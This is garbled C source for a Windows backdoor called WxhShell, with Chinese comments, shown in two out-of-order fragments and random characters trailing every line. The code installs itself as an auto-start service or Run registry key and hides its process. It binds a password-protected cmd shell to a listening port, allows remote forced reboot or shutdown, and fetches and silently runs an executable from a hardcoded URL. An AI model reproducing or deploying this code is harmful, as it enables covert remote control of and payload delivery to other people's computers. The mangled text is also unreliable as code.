    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W5?yy>S6N  
    if(Boot(SHUTDOWN)) %6L^2 X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a["2VY6Eq@  
    else { ]4h92\\965  
    closesocket(wsh); {Z3dF)>  
    ExitThread(0); r) $+   
    } j'%$XvI  
    break; rF aF Bd  
    } IB# @yH  
  // 获取shell `!D s6  
  case 's': { !PrwH;  
    CmdShell(wsh); j7sKsbb  
    closesocket(wsh); Q-MQ9'  
    ExitThread(0); 'd+N Vj{C  
    break; Zm=(+ f  
  } Fx5d:!]:$?  
  // 退出 %^I88,$&L  
  case 'x': { OH5>vV 'i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9AxCiT.  
    CloseIt(wsh); p"l3e9&'j  
    break; Bn61AFy`  
    } pY_s*0_  
  // 离开 F%i^XA]a*  
  case 'q': { z;A>9vQ_J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @O@GRq&V  
    closesocket(wsh); .A-]_98Z  
    WSACleanup(); GP&vLt51  
    exit(1); ([-|}  
    break; ,z;ky5Ct  
        } @J5Jpt*IE  
  } C8 vOE`U,J  
  } -RS7h  
ZQ_xDKqRV  
  // 提示信息 L=q+|j1>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %^1cyk  
} b&=5m  
  } oP!;\a( SL  
vG;zJ#c  
  return; oS7(s  
} >. '<J]  
td4[[ /  
// shell模块句柄 NzU,va N  
int CmdShell(SOCKET sock) zo[[>MA  
{ ,Z{d.[$  
STARTUPINFO si; ~=KJzOS,S  
ZeroMemory(&si,sizeof(si)); wE@'ap#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ &P >r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LJOr!rWi  
PROCESS_INFORMATION ProcessInfo; G7)Fk%>  
char cmdline[]="cmd"; "TUe%o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wm);C~Le  
  return 0; 7UL qo>j  
} {X[ HCfJd  
W -  
// 自身启动模式 `5~ +,/Ys  
int StartFromService(void) C_4)=#@GU  
{ H(Q.a=&4!p  
typedef struct Q>R>R*1.j  
{ ?gPKcjgoH!  
  DWORD ExitStatus; ,_X /Gb6)  
  DWORD PebBaseAddress; 5*E#*H  
  DWORD AffinityMask; @#P,d5^G  
  DWORD BasePriority; Pl<; [cB  
  ULONG UniqueProcessId; rQEyD  
  ULONG InheritedFromUniqueProcessId; e]T`ot#/  
}   PROCESS_BASIC_INFORMATION; OKi\zS  
?UK|>9y}Z  
PROCNTQSIP NtQueryInformationProcess; =xsTDjH>  
{@<J_ A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; = <j"M85.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0]D{Va  
wtT}V=_  
  HANDLE             hProcess; m$9w"8R  
  PROCESS_BASIC_INFORMATION pbi; s TOa  
uP<0WCN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DhX#E&  
  if(NULL == hInst ) return 0; >@ YtDl8R  
U,+[5sbo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]$p{I)d&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wm H~m k"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =1P6Vk  
(ewe"N+  
  if (!NtQueryInformationProcess) return 0; gJ;_$`  
aA'|Rg,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dgDy5{_  
  if(!hProcess) return 0; u7xDau(c  
/'Pd`Nxl.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i 9g>9  
9}c8Xt^&  
  CloseHandle(hProcess); .TE?KI   
;SwMu@tg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2o#,kGd  
if(hProcess==NULL) return 0; S,U Pl}KF  
A<\JQ  
HMODULE hMod; ,+g&o^T  
char procName[255]; H"Klj_<dH0  
unsigned long cbNeeded; bW ZbG{Y.  
.))v0   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n!6Z]\8~$  
w nTV|^Q  
  CloseHandle(hProcess); [xh*"wT#g  
=?h~.lo  
if(strstr(procName,"services")) return 1; // 以服务启动 QI]Ih  
SxK:]Aw  
  return 0; // 注册表启动 En&5)c+js4  
} 8?*RIA.a  
P/JK$nb  
// 主模块 p#SY /KIw  
int StartWxhshell(LPSTR lpCmdLine) c}[+h5  
{ v|ox!0:#  
  SOCKET wsl; .bVmqR`  
BOOL val=TRUE; n6(i`{i  
  int port=0; |!q$_at  
  struct sockaddr_in door; +3i7D  
9s}Kl($  
  if(wscfg.ws_autoins) Install(); ;pD)m/$h`  
[TF8'jI0  
port=atoi(lpCmdLine); Xnuzr" 4u  
577:u<Yt  
if(port<=0) port=wscfg.ws_port; `.#@@5e  
-[OXSaf6  
  WSADATA data; zq1mmFIO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |wox1Wt|E  
dY" }\v6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M HL("v(@B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AM} brO  
  door.sin_family = AF_INET; G5D2oQa=8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ecOy6@UDY  
  door.sin_port = htons(port); pium$4l2#  
$KjTa#[RX7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \Hqc 9&0  
closesocket(wsl); Q,Z*8FH=  
return 1; )'Wb&A'  
} E3a_8@ZB7  
?zq+jLyo  
  if(listen(wsl,2) == INVALID_SOCKET) { a;$P:C{gj?  
closesocket(wsl); BpO9As 1um  
return 1; 69kJC/1+l  
} # x>ga  
  Wxhshell(wsl); ^*R(!P^  
  WSACleanup(); Lt#'W  
t ]c{c#N/  
return 0; ]%RNA:(F'  
4c~>ci,N?(  
} )[&_scSa  
`-B+JQmen  
// 以NT服务方式启动 8_uzpeRhJc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kE;O7sN   
{ ,]Zp+>{  
DWORD   status = 0; K:yr-#(P/  
  DWORD   specificError = 0xfffffff; %Hi~aRz  
+TN9ujL6@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =QV ::/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7s'- +~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6S?x D5 (  
  serviceStatus.dwWin32ExitCode     = 0; i(2y:U3[@  
  serviceStatus.dwServiceSpecificExitCode = 0; ,7|;k2  
  serviceStatus.dwCheckPoint       = 0; mnF}S5[9  
  serviceStatus.dwWaitHint       = 0; tPuut\ee  
f?Bj _z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z&nZ<ih  
  if (hServiceStatusHandle==0) return; NWmtwS+@  
:ipoD%@  
status = GetLastError(); S+x_c4 T  
  if (status!=NO_ERROR) 1M%S gV-#  
{ E\2Ml@J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lx,`hl%  
    serviceStatus.dwCheckPoint       = 0; /jD-\,:L}  
    serviceStatus.dwWaitHint       = 0; }GHxG9!z  
    serviceStatus.dwWin32ExitCode     = status; i 6no;}j  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y'"N"$n'_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~ULIO'  
    return; Q]JX`HgPaU  
  } e`U Qz$4!  
  &LQ%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K <`>O, F  
  serviceStatus.dwCheckPoint       = 0; z YDK $  
  serviceStatus.dwWaitHint       = 0; x%BF {Sw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^nDal':*  
} Yx?aC!5M  
yFIIX=NC  
// 处理NT服务事件,比如:启动、停止 A[/I#Im7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KS>$`ax,  
{ lxb8xY  
switch(fdwControl) k&s; {|!  
{ @Jv# fr  
case SERVICE_CONTROL_STOP: Sgj/s~j~1  
  serviceStatus.dwWin32ExitCode = 0; ^)\+l%M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :\}U9QfCw  
  serviceStatus.dwCheckPoint   = 0; z-u?s`k**  
  serviceStatus.dwWaitHint     = 0; p!"(s/=  
  { ;El <%{(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tEhr  
  } .)PqN s:  
  return; aw$Y`6,S  
case SERVICE_CONTROL_PAUSE: INNAYQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^Vo"fI`=C  
  break; (r F?If  
case SERVICE_CONTROL_CONTINUE: >A jCl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .H;B=nd*  
  break; Pz~q%J  
case SERVICE_CONTROL_INTERROGATE: E <@\>y.[  
  break; dtW0\^ .L  
}; O-GxUHwW r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G=$}5; t  
} P/ aDd@j  
9)ea.Gu  
// 标准应用程序主函数 :('I)C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) do' ORcZ  
{ 7*'@qjTos  
{8m1dEC^@Q  
// 获取操作系统版本 euZ(}+N&  
OsIsNt=GetOsVer(); ;X7i/D Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A'g,:8Ou  
1ih*gJPpj  
  // 从命令行安装 QMb^&?;s  
  if(strpbrk(lpCmdLine,"iI")) Install(); >UN vkQ:  
dQ6GhS ~  
  // 下载执行文件 5; f\0<-  
if(wscfg.ws_downexe) { )F E8D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6Q$BUL}2?  
  WinExec(wscfg.ws_filenam,SW_HIDE); "_)|8|gN  
} okDJ(AIV+  
4<Kgmy  
if(!OsIsNt) { eBvW#Hzp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xu%d,T$G  
HideProc(); C1ZyB"{  
StartWxhshell(lpCmdLine); ,i![QXZ  
} 4?]ZV_BD  
else 7vNtv9  
  if(StartFromService()) u_Zm1*'?B  
  // 以服务方式启动 8r^j P.V  
  StartServiceCtrlDispatcher(DispatchTable); L]>4Nd  
else 9fCO7AE0#  
  // 普通方式启动 ||fvKyKW>  
  StartWxhshell(lpCmdLine); jJ-d/"(  
&CO| Y(+  
return 0; :p$EiR  
} x _|>n<Z  
"uS7PplyO  
*I/A,#4r  
"cQvd(kug  
=========================================== )-)pYRlO  
_Z.;u0Zp8  
@ AggznA8  
Vku#;:yUb^  
?q6Z's[  
/pU|ZA.z'2  
" )O -cw7 >  
sSy$(%  
#include <stdio.h> j`hNZ%a  
#include <string.h> 9nO(xJ"e4  
#include <windows.h> 6~3jn+K$1  
#include <winsock2.h> mCK],TOA:  
#include <winsvc.h> bkkSIl+Q  
#include <urlmon.h> 0QMaM  
?4MSgu  
#pragma comment (lib, "Ws2_32.lib") ;9vIa7L&  
#pragma comment (lib, "urlmon.lib") i.F8  
n{z8Ao%  
#define MAX_USER   100 // 最大客户端连接数 i#tbdx#  
#define BUF_SOCK   200 // sock buffer +`9yZOaC#  
#define KEY_BUFF   255 // 输入 buffer e6o/q)9#  
F6DxvyANr  
#define REBOOT     0   // 重启 r:.6"VQu}  
#define SHUTDOWN   1   // 关机 A ^-Z)0 :  
)ph30B  
#define DEF_PORT   5000 // 监听端口 e$H|MdYIA  
L2<+#O#  
#define REG_LEN     16   // 注册表键长度 a" ^#!G<+  
#define SVC_LEN     80   // NT服务名长度 Xn PJC'  
\+G.]|"Y  
// 从dll定义API f>O54T .L.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7t`E@dm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r)c+".0d^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [#7D~Lx/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [6G=yp  
XNKtL]U}$  
// wxhshell配置信息 +{ S Maq  
struct WSCFG { prqyoCfq  
  int ws_port;         // 监听端口 `!<x"xKu  
  char ws_passstr[REG_LEN]; // 口令 O(WEgz  
  int ws_autoins;       // 安装标记, 1=yes 0=no "OVi /:*B  
  char ws_regname[REG_LEN]; // 注册表键名 5 d>nIKW  
  char ws_svcname[REG_LEN]; // 服务名 A\Lr<{Jh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5Ws5X_?d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]"C| qR*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =.VepX|?D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]!]`~ Z/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H U:1f)a a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sWp{Y.  
F19;RaP+  
}; 5<!o{)I  
CM`x>J  
// default Wxhshell configuration mgk64}K[n  
struct WSCFG wscfg={DEF_PORT, -6AOK<kfI  
    "xuhuanlingzhe", Ewa[Y=+tx  
    1, Xs{/}wc.q;  
    "Wxhshell", !&'# a  
    "Wxhshell", ww-XMz h  
            "WxhShell Service", FAH[5VD r%  
    "Wrsky Windows CmdShell Service", T_3V/)%@  
    "Please Input Your Password: ", =%Q\*xaR.W  
  1, b$;HI7)/K  
  "http://www.wrsky.com/wxhshell.exe", bMSD/L  
  "Wxhshell.exe" kqjxJ5  
    }; V;M3z9xd  
e_YW~z=6t  
// 消息定义模块 ['/;'NhdlY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %{N>c:2I$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 516VQ<?B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 71K\.[ =-  
char *msg_ws_ext="\n\rExit."; 9m<wcZ  
char *msg_ws_end="\n\rQuit."; R tXF  
char *msg_ws_boot="\n\rReboot..."; 3N(8| wh  
char *msg_ws_poff="\n\rShutdown..."; >l7eoj  
char *msg_ws_down="\n\rSave to "; oA(. vr  
v]LFZI5  
char *msg_ws_err="\n\rErr!"; cRs{=RGc  
char *msg_ws_ok="\n\rOK!"; wJ;9),fL  
^G ]KE8  
char ExeFile[MAX_PATH]; QT7w::ht  
int nUser = 0; nEjo,   
HANDLE handles[MAX_USER]; jEC'l]l  
int OsIsNt; FE$M[^1_  
7H8GkuO  
SERVICE_STATUS       serviceStatus; {jj]K.&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Y| lO  
v*vub#wP  
// 函数声明 mafAC73  
int Install(void); GV `idFd  
int Uninstall(void); 842Mydom  
int DownloadFile(char *sURL, SOCKET wsh); T>AI0R3  
int Boot(int flag); f~n' Ki+'  
void HideProc(void); =RCfibT!C  
int GetOsVer(void); v.~Nv@+kR  
int Wxhshell(SOCKET wsl); |THkS@Br  
void TalkWithClient(void *cs); hr/xpQW  
int CmdShell(SOCKET sock); >tE,8  
int StartFromService(void); DYy@t^sC  
int StartWxhshell(LPSTR lpCmdLine); ND)M3qp2(  
S4@117z5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >X@.f1/5X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'tq\<y  
zD#+[XI]K  
// 数据结构和表定义 m%BMd  
SERVICE_TABLE_ENTRY DispatchTable[] = +#i,87  
{ ;I0yQlx|U  
{wscfg.ws_svcname, NTServiceMain}, Z(Ls#hp  
{NULL, NULL} ul5::  
}; A61-AwvF8-  
uMq\];7I  
// 自我安装 <9MQ  
int Install(void) B<|q{D$N/  
{ 9e :d2  
  char svExeFile[MAX_PATH]; X~<>K/}u5  
  HKEY key; Vt$ $ceu  
  strcpy(svExeFile,ExeFile); !Cv<>_N).  
Bt`r6v;\  
// 如果是win9x系统,修改注册表设为自启动 xr1I8 5kM  
if(!OsIsNt) { $yxIE}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i >/@]2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @N:3`[oB  
  RegCloseKey(key); :u|UVp5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G41$oalQ1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 37<GG)  
  RegCloseKey(key); })yb   
  return 0; 'KN!m| z  
    } 'KW+Rr~tZn  
  } %Tm' aY"  
} =fu_ Jau}  
else { [;kj,j  
ES:p^/=*  
// 如果是NT以上系统,安装为系统服务 v2dSC(hRZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r:S5x.P2  
if (schSCManager!=0) )I0g&e^Tzy  
{ >=RHE@  
  SC_HANDLE schService = CreateService a} Iz  
  ( `:^)"#z)  
  schSCManager, g]hn@{[  
  wscfg.ws_svcname, >+W?!9[p:2  
  wscfg.ws_svcdisp, %%-Tjw o  
  SERVICE_ALL_ACCESS, f<x t3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G#=b6DB  
  SERVICE_AUTO_START, hJtghG6v  
  SERVICE_ERROR_NORMAL, sjgxx7  
  svExeFile, 5Qe}v  
  NULL, s9)8{z  
  NULL, 39^uLob  
  NULL, e[Ul"pMvS`  
  NULL, i OA3x 8J  
  NULL >5YYij5Aj  
  ); ^SES')x  
  if (schService!=0) r;s3(@[,@  
  { # v/aI*Rl  
  CloseServiceHandle(schService); @eD2<e  
  CloseServiceHandle(schSCManager); SZ1pf#w!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ql!6I(  
  strcat(svExeFile,wscfg.ws_svcname); ckkM)|kK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ), x3tTR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?F:C!_  
  RegCloseKey(key); n$VPh/  
  return 0; ?%TM7Z4  
    } )fcpE,g'  
  } CpJXLc3_d5  
  CloseServiceHandle(schSCManager); ^*T{-U'  
} oI"Fpo  
} LHGK!zI  
( ]uoN4  
return 1; "gVH;<&]  
} 4rCqN.J  
>5Rw~  
// 自我卸载 oZ>]8vw  
int Uninstall(void) `rFGSq$9  
{ `E%d$  
  HKEY key; }z%/6`7)|  
oHGf |  
if(!OsIsNt) { (3HgI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4zvU"np  
  RegDeleteValue(key,wscfg.ws_regname); mCP +7q7  
  RegCloseKey(key); k{$"-3ed  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eT \Q  
  RegDeleteValue(key,wscfg.ws_regname); [ Sa C  
  RegCloseKey(key); w\[*_wQp  
  return 0; d3hTz@JY  
  } *`/@[S2,cu  
} \%Ih 6  
} GeR -k9  
else { 9S`b7U=P  
Qpu2RfP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :BiR6>1:  
if (schSCManager!=0) C)dYAq3,8  
{ U0=zuRr n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @g` ,'r  
  if (schService!=0) "PP0PL^5F  
  { I ywx1ac  
  if(DeleteService(schService)!=0) { gG?*Fi  
  CloseServiceHandle(schService); J:!Gf^/)  
  CloseServiceHandle(schSCManager); U-N/Z\QD  
  return 0; L{ ^@O0S  
  } 833t0Ml1A/  
  CloseServiceHandle(schService); YZ+g<HXB  
  } ?a_q!,8:  
  CloseServiceHandle(schSCManager); HBYpjxh  
} WM7/|.HQ  
} +=xRr?F  
"+Yn;9  
return 1; 9`VF [* 9  
} ph+tk5k  
jiD8|%}v  
// 从指定url下载文件 gx.]4 v  
int DownloadFile(char *sURL, SOCKET wsh) q/G5aO*  
{ sm S0Rk  
  HRESULT hr; PA[Rhoit,  
char seps[]= "/"; M- A}(r +J  
char *token; JQ4>S<ttJ  
char *file; <08V-   
char myURL[MAX_PATH]; -L3RzX  
char myFILE[MAX_PATH]; CR=MjmH  
+5\\wGo<  
strcpy(myURL,sURL); B)NB6dCp  
  token=strtok(myURL,seps); Ez-o*&  
  while(token!=NULL) N#ObxOE6T"  
  { SHh(ujz,  
    file=token; r $2   
  token=strtok(NULL,seps); v%Xe)D   
  } m @ ?e <$  
xo+z[OIlF  
GetCurrentDirectory(MAX_PATH,myFILE); I-hhHm<@  
strcat(myFILE, "\\"); y?hW#l~#X  
strcat(myFILE, file); M] *pBc(o0  
  send(wsh,myFILE,strlen(myFILE),0); Puh&F< B  
send(wsh,"...",3,0); )T_ #X!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'kK%sE   
  if(hr==S_OK) r/f;\w7  
return 0;  (La  
else B.jYU  
return 1; tsD^8~ t|h  
R MXj)~4.  
} B:.rp.1   
J_$~OEC~  
// 系统电源模块 -GjJrYOU  
int Boot(int flag) @9a=D<'>  
{ aoS1Yt'@  
  HANDLE hToken; uU s>/+  
  TOKEN_PRIVILEGES tkp; 5K<C  
W aU_Z/{0  
  if(OsIsNt) { O/nS,Ux  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PMcyQ2R->  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m6D4J=59  
    tkp.PrivilegeCount = 1; "N_?yA#(j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <Z;BB)I&C`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K%;yFEZ  
if(flag==REBOOT) { F^-4Pyq@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a$m?if=  
  return 0; htaLOTO;A  
} 9m{rQ P/  
else { iqeGy&F-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '-=?lyKv  
  return 0; Sy~1U  
} +L6d$+  
  } $P_Y8:  
  else { ix;8S=eP~{  
if(flag==REBOOT) { ! ZEKvW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wt =[R 4=  
  return 0; HFOp4  
} &3V4~L1aEg  
else { bkTj Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FceT'  
  return 0; |a+8-@-Tj  
} rH,N.H#]  
} "5Mo%cUp  
tN~{Mt$-W  
return 1; 3B+Rx;>h  
} 4~4Hst#^  
*6L^A`_1]  
// win9x进程隐藏模块 UpILr\3U  
void HideProc(void) dq2v[? *R  
{ e]QkZg2?Yn  
) =[Tgh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uw]Jm"=w  
  if ( hKernel != NULL ) Zh@\+1]  
  { sp%7iNs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]+AI:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ctGjqHo  
    FreeLibrary(hKernel); B}W^s;h  
  } })B)-8  
\ iFE,z  
return; lk80)sTZ  
} ag6S"IXh  
7j+.H/2  
// 获取操作系统版本 T(6S~; ,Z  
int GetOsVer(void) WKG=d]5  
{ 08Q:1 '  
  OSVERSIONINFO winfo; L>B0%TP^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x {rt\OT  
  GetVersionEx(&winfo); (H$eXW7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v[x`I;  
  return 1; q~qig,$Y  
  else ,#crtX  
  return 0; Xe5J  
} zMa`olTZ  
$hL0/T-m  
// 客户端句柄模块 #\}hN~@F  
int Wxhshell(SOCKET wsl) E$cr3 t7Xy  
{ &5B+8>  
  SOCKET wsh; ?F-,4Ox{/  
  struct sockaddr_in client; | c;S'36  
  DWORD myID; ! M bRI  
]SQ_*$`  
  while(nUser<MAX_USER) VAq:q8(K  
{ #8PjYB  
  int nSize=sizeof(client); 3yTBkFI!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HjK|9  
  if(wsh==INVALID_SOCKET) return 1; ?f%@8%px  
+/ #J]v-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m+o>`1>a  
if(handles[nUser]==0) o*<(,I%  
  closesocket(wsh); B$\5=[U  
else MFC= oKD  
  nUser++; 9qw~]W~Nm  
  } '8dqJ`Gj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j#-74{Y$ J  
O". #B  
  return 0; C ZJW`c/  
} R8ZW1  
rIu>JyC"p  
// 关闭 socket UOa{J|k>h  
void CloseIt(SOCKET wsh) Wjj'yqBO^  
{ }+SnY8A=KZ  
closesocket(wsh); *`dGapd3  
nUser--; 2^|*M@3r  
ExitThread(0); ?f a/}|T  
} p}C3<[Nk  
%cBJ haR{(  
// 客户端请求句柄 ](%-5G1<  
void TalkWithClient(void *cs) ]Fa VKC~3  
{ Z{%h6""  
J H6\;G6  
  SOCKET wsh=(SOCKET)cs; PyIIdTm  
  char pwd[SVC_LEN]; uHy^ Bq  
  char cmd[KEY_BUFF]; uYV# '%  
char chr[1]; m,-:(82  
int i,j; ."9v1kW  
@*F NWT6  
  while (nUser < MAX_USER) { v\Q${6kEtx  
'DVPx%p  
if(wscfg.ws_passstr) { N'TL &]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 94H 6`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i/~A7\:8%  
  //ZeroMemory(pwd,KEY_BUFF); =T!M`  
      i=0; =EFF2M`F  
  while(i<SVC_LEN) { BsR xD9r  
!5pnl0DK*  
  // 设置超时 $dq R]'  
  fd_set FdRead; IEHAPt'  
  struct timeval TimeOut; kAU[lPt*R  
  FD_ZERO(&FdRead); c}lUP(Ss  
  FD_SET(wsh,&FdRead); W,}C*8{+  
  TimeOut.tv_sec=8; _bu, 1EM  
  TimeOut.tv_usec=0; {i3]3V"Xp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `}"*i_0-5'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #\Lt0  
, LX]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !fjDO!,!  
  pwd=chr[0]; rD fUTfv|Q  
  if(chr[0]==0xd || chr[0]==0xa) { d XrLeoK  
  pwd=0; u1(`^^Ml  
  break; E\5t&jZr  
  } YrFB~z.V  
  i++; N =)9O  
    } cd#@"&r  
]^p6db zWe  
  // 如果是非法用户,关闭 socket U)o(}:5xF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 44b;]htv  
} >d&B:  
QVsOB$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `~F=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :[?hU}9  
FY@ErA7~  
while(1) { p~6/  
Z~CL|=  
  ZeroMemory(cmd,KEY_BUFF); @))PpE`co8  
?zM]p"M  
      // 自动支持客户端 telnet标准   mbK$_HvU  
  j=0; {}y"JbXMj  
  while(j<KEY_BUFF) { IZoS2^:yw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sEm-Td+A5  
  cmd[j]=chr[0]; TFjb1 a,)  
  if(chr[0]==0xa || chr[0]==0xd) { 1Ue )&RW  
  cmd[j]=0; 9(V12gn+lk  
  break; jhOQ)QE|  
  } pX `BDYg.  
  j++; g4EC[>5!r  
    } P>j^w#$n  
=dSH8C"  
  // 下载文件 xp7 `[.  
  if(strstr(cmd,"http://")) { i=jwk_y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dZ K /v  
  if(DownloadFile(cmd,wsh)) ?S9? ?y/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc`UcGO  
  else wVX]"o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R OsR;C0!  
  } w+($= n~  
